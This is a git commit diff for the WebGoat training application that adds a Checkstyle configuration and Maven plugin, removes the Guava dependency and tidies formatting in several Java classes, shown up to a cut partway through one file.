Code style (#696)
* Remove Guava dependency from WebGoat * Add Checkstyle to the project with very basic standards so we have a style across lessons. It does not interfere with basic Intellij formatting
This commit is contained in:
parent
66bd1d8c1a
commit
1a83e2825e
259
config/checkstyle/checkstyle.xml
Executable file
259
config/checkstyle/checkstyle.xml
Executable file
@ -0,0 +1,259 @@
|
|||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE module PUBLIC
|
||||||
|
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
|
||||||
|
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
|
||||||
|
|
||||||
|
<!--
|
||||||
|
Checkstyle configuration that checks the Google coding conventions from Google Java Style
|
||||||
|
that can be found at https://google.github.io/styleguide/javaguide.html.
|
||||||
|
|
||||||
|
Checkstyle is very configurable. Be sure to read the documentation at
|
||||||
|
http://checkstyle.sf.net (or in your downloaded distribution).
|
||||||
|
|
||||||
|
To completely disable a check, just comment it out or delete it from the file.
|
||||||
|
|
||||||
|
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
|
||||||
|
-->
|
||||||
|
|
||||||
|
<module name="Checker">
|
||||||
|
<property name="charset" value="UTF-8"/>
|
||||||
|
|
||||||
|
<property name="severity" value="error"/>
|
||||||
|
|
||||||
|
<property name="fileExtensions" value="java, properties, xml"/>
|
||||||
|
<!-- Checks for whitespace -->
|
||||||
|
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
|
||||||
|
|
||||||
|
<module name="SuppressionFilter">
|
||||||
|
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
|
||||||
|
</module>
|
||||||
|
<module name="TreeWalker">
|
||||||
|
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||||
|
<property name="maximum" value="0"/>
|
||||||
|
<property name="format" value="org\.junit\.Assert\.assert"/>
|
||||||
|
<property name="message"
|
||||||
|
value="Please use AssertJ imports."/>
|
||||||
|
<property name="ignoreComments" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module
|
||||||
|
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
|
||||||
|
<property name="regexp" value="true"/>
|
||||||
|
<property name="illegalPkgs"
|
||||||
|
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
|
||||||
|
<property name="illegalClasses"
|
||||||
|
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
|
||||||
|
</module>
|
||||||
|
<module
|
||||||
|
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||||
|
<property name="maximum" value="0"/>
|
||||||
|
<property name="format"
|
||||||
|
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
|
||||||
|
<property name="message"
|
||||||
|
value="Please use specialized AssertJ assertThat*Exception method."/>
|
||||||
|
<property name="ignoreComments" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module
|
||||||
|
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||||
|
<property name="maximum" value="0"/>
|
||||||
|
<property name="format"
|
||||||
|
value="@SneakyThrows"/>
|
||||||
|
<property name="message"
|
||||||
|
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
|
||||||
|
<property name="ignoreComments" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="OuterTypeFilename"/>
|
||||||
|
<module name="IllegalTokenText">
|
||||||
|
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
|
||||||
|
<property name="format"
|
||||||
|
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
|
||||||
|
<property name="message"
|
||||||
|
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
|
||||||
|
</module>
|
||||||
|
<module name="AvoidEscapedUnicodeCharacters">
|
||||||
|
<property name="allowEscapesForControlCharacters" value="true"/>
|
||||||
|
<property name="allowByTailComment" value="true"/>
|
||||||
|
<property name="allowNonPrintableEscapes" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="OneTopLevelClass">
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="NoLineWrap"/>
|
||||||
|
<module name="EmptyBlock">
|
||||||
|
<property name="option" value="TEXT"/>
|
||||||
|
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
|
||||||
|
</module>
|
||||||
|
<module name="WhitespaceAround">
|
||||||
|
<property name="allowEmptyConstructors" value="true"/>
|
||||||
|
<property name="allowEmptyMethods" value="true"/>
|
||||||
|
<property name="allowEmptyTypes" value="true"/>
|
||||||
|
<property name="allowEmptyLoops" value="true"/>
|
||||||
|
<message key="ws.notFollowed"
|
||||||
|
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
|
||||||
|
<message key="ws.notPreceded"
|
||||||
|
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
|
||||||
|
</module>
|
||||||
|
<module name="OneStatementPerLine"/>
|
||||||
|
<module name="MultipleVariableDeclarations"/>
|
||||||
|
<module name="ArrayTypeStyle"/>
|
||||||
|
<module name="MissingSwitchDefault"/>
|
||||||
|
<module name="FallThrough"/>
|
||||||
|
<module name="UpperEll"/>
|
||||||
|
<module name="ModifierOrder"/>
|
||||||
|
<module name="EmptyLineSeparator">
|
||||||
|
<property name="allowNoEmptyLineBetweenFields" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<property name="id" value="SeparatorWrapDot"/>
|
||||||
|
<property name="tokens" value="DOT"/>
|
||||||
|
<property name="option" value="nl"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<property name="id" value="SeparatorWrapComma"/>
|
||||||
|
<property name="tokens" value="COMMA"/>
|
||||||
|
<property name="option" value="EOL"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
|
||||||
|
<property name="id" value="SeparatorWrapEllipsis"/>
|
||||||
|
<property name="tokens" value="ELLIPSIS"/>
|
||||||
|
<property name="option" value="EOL"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
|
||||||
|
<property name="id" value="SeparatorWrapArrayDeclarator"/>
|
||||||
|
<property name="tokens" value="ARRAY_DECLARATOR"/>
|
||||||
|
<property name="option" value="EOL"/>
|
||||||
|
</module>
|
||||||
|
<module name="SeparatorWrap">
|
||||||
|
<property name="id" value="SeparatorWrapMethodRef"/>
|
||||||
|
<property name="tokens" value="METHOD_REF"/>
|
||||||
|
<property name="option" value="nl"/>
|
||||||
|
</module>
|
||||||
|
<module name="PackageName">
|
||||||
|
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Package name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="TypeName">
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="MemberName">
|
||||||
|
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Member name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="ParameterName">
|
||||||
|
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="CatchParameterName">
|
||||||
|
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="LocalVariableName">
|
||||||
|
<property name="tokens" value="VARIABLE_DEF"/>
|
||||||
|
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="ClassTypeParameterName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Class type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="MethodTypeParameterName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Method type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="InterfaceTypeParameterName">
|
||||||
|
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="NoFinalizer"/>
|
||||||
|
<module name="GenericWhitespace">
|
||||||
|
<message key="ws.followed"
|
||||||
|
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
|
||||||
|
<message key="ws.preceded"
|
||||||
|
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
|
||||||
|
<message key="ws.illegalFollow"
|
||||||
|
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
|
||||||
|
<message key="ws.notPreceded"
|
||||||
|
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
|
||||||
|
</module>
|
||||||
|
<module name="AbbreviationAsWordInName">
|
||||||
|
<property name="ignoreFinal" value="false"/>
|
||||||
|
<property name="allowedAbbreviationLength" value="4"/>
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="OverloadMethodsDeclarationOrder"/>
|
||||||
|
<module name="VariableDeclarationUsageDistance"/>
|
||||||
|
<module name="CustomImportOrder">
|
||||||
|
<property name="sortImportsInGroupAlphabetically" value="false"/>
|
||||||
|
<property name="separateLineBetweenGroups" value="true"/>
|
||||||
|
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
|
||||||
|
</module>
|
||||||
|
<module name="MethodParamPad"/>
|
||||||
|
<module name="NoWhitespaceBefore">
|
||||||
|
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
|
||||||
|
<property name="allowLineBreaks" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="ParenPad"/>
|
||||||
|
<module name="OperatorWrap">
|
||||||
|
<property name="option" value="NL"/>
|
||||||
|
<property name="tokens"
|
||||||
|
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
|
||||||
|
</module>
|
||||||
|
<module name="AnnotationLocation">
|
||||||
|
<property name="id" value="AnnotationLocationMostCases"/>
|
||||||
|
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
|
||||||
|
</module>
|
||||||
|
<module name="AnnotationLocation">
|
||||||
|
<property name="id" value="AnnotationLocationVariables"/>
|
||||||
|
<property name="tokens" value="VARIABLE_DEF"/>
|
||||||
|
<property name="allowSamelineMultipleAnnotations" value="true"/>
|
||||||
|
</module>
|
||||||
|
<module name="NonEmptyAtclauseDescription"/>
|
||||||
|
<module name="JavadocTagContinuationIndentation"/>
|
||||||
|
<module name="SummaryJavadoc">
|
||||||
|
<property name="forbiddenSummaryFragments"
|
||||||
|
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="JavadocParagraph">
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="AtclauseOrder">
|
||||||
|
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
|
||||||
|
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="JavadocMethod">
|
||||||
|
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
|
||||||
|
<property name="scope" value="public"/>
|
||||||
|
<property name="allowMissingParamTags" value="true"/>
|
||||||
|
<property name="allowMissingThrowsTags" value="true"/>
|
||||||
|
<property name="allowMissingReturnTag" value="true"/>
|
||||||
|
<property name="minLineCount" value="2"/>
|
||||||
|
<property name="allowedAnnotations" value="Override, Test"/>
|
||||||
|
<property name="allowThrowsTagsForSubclasses" value="true"/>
|
||||||
|
<property name="severity" value="warning"/>
|
||||||
|
</module>
|
||||||
|
<module name="MethodName">
|
||||||
|
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
|
||||||
|
<message key="name.invalidPattern"
|
||||||
|
value="Method name ''{0}'' must match pattern ''{1}''."/>
|
||||||
|
</module>
|
||||||
|
<module name="SingleLineJavadoc">
|
||||||
|
<property name="ignoreInlineTags" value="false"/>
|
||||||
|
</module>
|
||||||
|
<module name="EmptyCatchBlock">
|
||||||
|
<property name="exceptionVariableName" value="expected"/>
|
||||||
|
</module>
|
||||||
|
<module name="CommentsIndentation"/>
|
||||||
|
</module>
|
||||||
|
</module>
|
11
config/checkstyle/suppressions.xml
Normal file
11
config/checkstyle/suppressions.xml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE suppressions PUBLIC
|
||||||
|
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
|
||||||
|
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
|
||||||
|
<suppressions>
|
||||||
|
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
|
||||||
|
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
|
||||||
|
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
|
||||||
|
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
|
||||||
|
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
|
||||||
|
</suppressions>
|
13
pom.xml
13
pom.xml
@ -178,6 +178,19 @@
|
|||||||
<encoding>UTF-8</encoding>
|
<encoding>UTF-8</encoding>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-checkstyle-plugin</artifactId>
|
||||||
|
<version>3.1.0</version>
|
||||||
|
<configuration>
|
||||||
|
<encoding>UTF-8</encoding>
|
||||||
|
<consoleOutput>true</consoleOutput>
|
||||||
|
<failsOnError>true</failsOnError>
|
||||||
|
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
|
||||||
|
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
|
||||||
|
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
</plugins>
|
</plugins>
|
||||||
</build>
|
</build>
|
||||||
|
|
||||||
|
@ -116,11 +116,6 @@
|
|||||||
<artifactId>commons-lang3</artifactId>
|
<artifactId>commons-lang3</artifactId>
|
||||||
<version>${commons-lang3.version}</version>
|
<version>${commons-lang3.version}</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>com.google.guava</groupId>
|
|
||||||
<artifactId>guava</artifactId>
|
|
||||||
<version>${guava.version}</version>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-security</artifactId>
|
<artifactId>spring-boot-starter-security</artifactId>
|
||||||
|
@ -49,7 +49,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
|
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
|
||||||
if(request.getHeader("x-requested-with") != null) {
|
if (request.getHeader("x-requested-with") != null) {
|
||||||
response.sendError(401, authException.getMessage());
|
response.sendError(401, authException.getMessage());
|
||||||
} else {
|
} else {
|
||||||
super.commence(request, response, authException);
|
super.commence(request, response, authException);
|
||||||
|
@ -28,18 +28,13 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since December 12, 2015
|
* @since December 12, 2015
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import com.google.common.collect.Sets;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.asciidoctor.Asciidoctor;
|
import org.asciidoctor.Asciidoctor;
|
||||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
|
import org.owasp.webgoat.asciidoc.*;
|
||||||
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
|
|
||||||
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
|
||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
import org.thymeleaf.IEngineConfiguration;
|
import org.thymeleaf.IEngineConfiguration;
|
||||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||||
@ -50,7 +45,9 @@ import java.io.IOException;
|
|||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.io.InputStreamReader;
|
import java.io.InputStreamReader;
|
||||||
import java.io.StringWriter;
|
import java.io.StringWriter;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
import static org.asciidoctor.Asciidoctor.Factory.create;
|
import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||||
|
|
||||||
@ -70,7 +67,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
|||||||
|
|
||||||
public AsciiDoctorTemplateResolver(Language language) {
|
public AsciiDoctorTemplateResolver(Language language) {
|
||||||
this.language = language;
|
this.language = language;
|
||||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@ -81,7 +78,6 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
|||||||
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
|
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
|
||||||
return new StringTemplateResource("");
|
return new StringTemplateResource("");
|
||||||
} else {
|
} else {
|
||||||
StringWriter writer = new StringWriter();
|
|
||||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||||
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||||
@ -89,6 +85,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
|||||||
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
||||||
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
||||||
|
|
||||||
|
StringWriter writer = new StringWriter();
|
||||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||||
return new StringTemplateResource(writer.getBuffer().toString());
|
return new StringTemplateResource(writer.getBuffer().toString());
|
||||||
}
|
}
|
||||||
@ -115,11 +112,11 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Map<String, Object> createAttributes() {
|
private Map<String, Object> createAttributes() {
|
||||||
Map<String, Object> attributes = Maps.newHashMap();
|
Map<String, Object> attributes = new HashMap<>();
|
||||||
attributes.put("source-highlighter", "coderay");
|
attributes.put("source-highlighter", "coderay");
|
||||||
attributes.put("backend", "xhtml");
|
attributes.put("backend", "xhtml");
|
||||||
|
|
||||||
Map<String, Object> options = Maps.newHashMap();
|
Map<String, Object> options = new HashMap<>();
|
||||||
options.put("attributes", attributes);
|
options.put("attributes", attributes);
|
||||||
|
|
||||||
return options;
|
return options;
|
||||||
|
@ -28,11 +28,9 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import com.google.common.collect.Sets;
|
|
||||||
import com.google.common.io.ByteStreams;
|
|
||||||
import org.springframework.core.io.ResourceLoader;
|
import org.springframework.core.io.ResourceLoader;
|
||||||
import org.thymeleaf.IEngineConfiguration;
|
import org.thymeleaf.IEngineConfiguration;
|
||||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||||
@ -41,7 +39,9 @@ import org.thymeleaf.templateresource.StringTemplateResource;
|
|||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Dynamically resolve a lesson. In the html file this can be invoked as:
|
* Dynamically resolve a lesson. In the html file this can be invoked as:
|
||||||
@ -54,13 +54,13 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
public class LessonTemplateResolver extends FileTemplateResolver {
|
public class LessonTemplateResolver extends FileTemplateResolver {
|
||||||
|
|
||||||
private final static String PREFIX = "lesson:";
|
private static final String PREFIX = "lesson:";
|
||||||
private ResourceLoader resourceLoader;
|
private ResourceLoader resourceLoader;
|
||||||
private Map<String, byte[]> resources = Maps.newHashMap();
|
private Map<String, byte[]> resources = new HashMap<>();
|
||||||
|
|
||||||
public LessonTemplateResolver(ResourceLoader resourceLoader) {
|
public LessonTemplateResolver(ResourceLoader resourceLoader) {
|
||||||
this.resourceLoader = resourceLoader;
|
this.resourceLoader = resourceLoader;
|
||||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@ -69,7 +69,7 @@ public class LessonTemplateResolver extends FileTemplateResolver {
|
|||||||
byte[] resource = resources.get(templateName);
|
byte[] resource = resources.get(templateName);
|
||||||
if (resource == null) {
|
if (resource == null) {
|
||||||
try {
|
try {
|
||||||
resource = ByteStreams.toByteArray(resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream());
|
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
@ -28,6 +28,7 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
@ -122,11 +123,6 @@ public class MvcConfiguration implements WebMvcConfigurer {
|
|||||||
return engine;
|
return engine;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* This way we expose the plugins target directory as a resource within the web application.
|
|
||||||
*
|
|
||||||
* @param registry
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||||
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
|
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
|
||||||
|
@ -28,6 +28,7 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
|
@ -1,4 +1,3 @@
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* ************************************************************************************************
|
* ************************************************************************************************
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||||
@ -28,6 +27,7 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since December 12, 2015
|
* @since December 12, 2015
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
@ -38,7 +38,6 @@ import org.springframework.context.annotation.Configuration;
|
|||||||
import org.springframework.security.authentication.AuthenticationManager;
|
import org.springframework.security.authentication.AuthenticationManager;
|
||||||
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
||||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||||
import org.springframework.security.config.annotation.web.builders.WebSecurity;
|
|
||||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||||
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
||||||
|
@ -22,6 +22,7 @@
|
|||||||
* projects.
|
* projects.
|
||||||
* <p>
|
* <p>
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.assignments;
|
package org.owasp.webgoat.assignments;
|
||||||
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
@ -1,7 +1,5 @@
|
|||||||
package org.owasp.webgoat.assignments;
|
package org.owasp.webgoat.assignments;
|
||||||
|
|
||||||
import org.springframework.core.annotation.AliasFor;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
|
|
||||||
import java.lang.annotation.ElementType;
|
import java.lang.annotation.ElementType;
|
||||||
@ -14,15 +12,11 @@ import java.lang.annotation.Target;
|
|||||||
*/
|
*/
|
||||||
@Target(ElementType.TYPE)
|
@Target(ElementType.TYPE)
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
//@RequestMapping
|
|
||||||
public @interface AssignmentPath {
|
public @interface AssignmentPath {
|
||||||
|
|
||||||
// @AliasFor(annotation = RequestMapping.class)
|
|
||||||
String[] path() default {};
|
String[] path() default {};
|
||||||
|
|
||||||
